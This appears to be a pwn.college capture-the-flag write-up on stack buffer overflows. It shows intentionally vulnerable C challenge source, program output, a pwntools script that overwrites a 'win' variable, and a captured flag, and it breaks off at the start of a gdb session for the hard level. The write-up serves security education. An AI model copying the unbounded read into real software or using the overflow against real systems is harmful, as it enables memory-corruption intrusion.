Binary Exploitation
Your First Overflow (easy)
Source code
/challenge/binary-exploitation-first-overflow-w.c
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;
#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}
void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}
void bin_padding()
{
asm volatile (".rept 3705; nop; .endr");
}
void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;
puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}
int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[56];
int win_variable;
} data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 56);
printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, when this variable is non-zero, the flag will be printed.\n");
printf("You can make this variable be non-zero by overflowing the input buffer.\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
FIND_CANARY(cp_, cv_, bp_);
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 56);
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);
if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("\n");
if (data.win_variable)
{
win();
}
puts("Goodbye!");
return 0;
}
int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char crash_resistance[0x1000];
challenge(argc, argv, envp);
}
On running the challenge, we get the following:
hacker@binary-exploitation~your-first-overflow-easy:/$ /challenge/binary-exploitation-first-overflow-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd92a28580 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a28588 (rsp+0x0008) | 48 97 a2 92 fd 7f 00 00 | 0x00007ffd92a29748 |
| 0x00007ffd92a28590 (rsp+0x0010) | 38 97 a2 92 fd 7f 00 00 | 0x00007ffd92a29738 |
| 0x00007ffd92a28598 (rsp+0x0018) | 25 a5 b4 bf 01 00 00 00 | 0x00000001bfb4a525 |
| 0x00007ffd92a285a0 (rsp+0x0020) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffd92a285a8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285b0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285b8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285c0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285c8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285d0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285d8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285e0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285e8 (rsp+0x0068) | 00 00 00 00 fd 7f 00 00 | 0x00007ffd00000000 |
| 0x00007ffd92a285f0 (rsp+0x0070) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffd92a285f8 (rsp+0x0078) | 00 13 c2 3e ea 86 82 2f | 0x2f8286ea3ec21300 |
| 0x00007ffd92a28600 (rsp+0x0080) | 40 96 a2 92 fd 7f 00 00 | 0x00007ffd92a29640 |
| 0x00007ffd92a28608 (rsp+0x0088) | 50 29 40 00 00 00 00 00 | 0x0000000000402950 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffd92a28580, and our base pointer points to 0x7ffd92a28600.
This means that we have (decimal) 18 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 144 bytes.
The input buffer begins at 0x7ffd92a285b0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 56 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.
In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, when this variable is non-zero, the flag will be printed.
You can make this variable be non-zero by overflowing the input buffer.
The "win" variable is stored at 0x7ffd92a285e8, 56 bytes after the start of your input buffer.
We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.
You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffd92a285b0 (the start of the input buffer)
right up to (but not including) 0x7ffd92a295b0 (which is 4040 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!
We simply have to send 56 bytes of padding to fill out the buffer, and then we can overwrite the win
variable, and get the flag.
from pwn import *
padding = b'A' * 56
payload = padding + p64(0x42424242)
p = process('/challenge/binary-exploitation-first-overflow-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~your-first-overflow-easy:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-first-overflow-w': pid 5718
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[▁] Receiving all data: 1B
[+] Receiving all data: Done (2.37KB)tation-first-overflow-w' stopped with exit code 0 (pi
d 5718)
You sent 64 bytes!
Let's see what happened with the stack:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffe3f82d510 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe3f82d518 (rsp+0x0008) | d8 e6 82 3f fe 7f 00 00 | 0x00007ffe3f82e6d8 |
| 0x00007ffe3f82d520 (rsp+0x0010) | c8 e6 82 3f fe 7f 00 00 | 0x00007ffe3f82e6c8 |
| 0x00007ffe3f82d528 (rsp+0x0018) | 25 45 a4 67 01 00 00 00 | 0x0000000167a44525 |
| 0x00007ffe3f82d530 (rsp+0x0020) | 00 10 00 00 40 00 00 00 | 0x0000004000001000 |
| 0x00007ffe3f82d538 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffe3f82d540 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d548 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d550 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d558 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d560 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d568 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d570 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d578 (rsp+0x0068) | 42 42 42 42 00 00 00 00 | 0x0000000042424242 |
| 0x00007ffe3f82d580 (rsp+0x0070) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffe3f82d588 (rsp+0x0078) | 00 0a d0 55 5a 93 06 6d | 0x6d06935a55d00a00 |
| 0x00007ffe3f82d590 (rsp+0x0080) | d0 e5 82 3f fe 7f 00 00 | 0x00007ffe3f82e5d0 |
| 0x00007ffe3f82d598 (rsp+0x0088) | 50 29 40 00 00 00 00 00 | 0x0000000000402950 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffe3f82d540
- the saved frame pointer (of main) is at 0x7ffe3f82d590
- the saved return address (previously to main) is at 0x7ffe3f82d598
- the saved return address is now pointing to 0x402950.
- the canary is stored at 0x7ffe3f82d588.
- the canary value is now 0x6d06935a55d00a00.
- the address of the win variable is 0x7ffe3f82d578.
- the value of the win variable is 0x42424242.
You win! Here is your flag:
pwn.college{IklKJD4tmAGF8uR7XZbFtXjDVI1.0VO4IDL4ITM0EzW}
Goodbye!
Your First Overflow (hard)
Source code
/challenge/binary-exploitation-first-overflow.c
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
void bin_padding()
{
asm volatile (".rept 2295; nop; .endr");
}
void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;
puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}
int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[91];
int win_variable;
} data = {0} ;
unsigned long size = 0;
size = 4096;
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);
if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}
if (data.win_variable)
{
win();
}
puts("Goodbye!");
return 0;
}
int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char crash_resistance[0x1000];
challenge(argc, argv, envp);
}
hacker@binary-exploitation~your-first-overflow-hard:/$ /challenge/binary-exploitation-first-overflow
Send your payload (up to 4096 bytes)!
This time we are not given any information by the program.
In order to create a payload we need to know two things:
- [] Location of buffer.
- [] Location of win variable.
You could use IDA or Ghidra, for this task, but we will use good old gdb
.
hacker@binary-exploitation~your-first-overflow-hard:/$ gdb /challenge/binary-exploitation-first-overflow
GNU gdb (GDB) 16.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.2 in 0.01ms using Python engine 3.12
Reading symbols from /challenge/binary-exploitation-first-overflow...
(No debugging symbols found in /challenge/binary-exploitation-first-overflow)
gef➤ run
Starting program: /challenge/binary-exploitation-first-overflow
Send your payload (up to 4096 bytes)!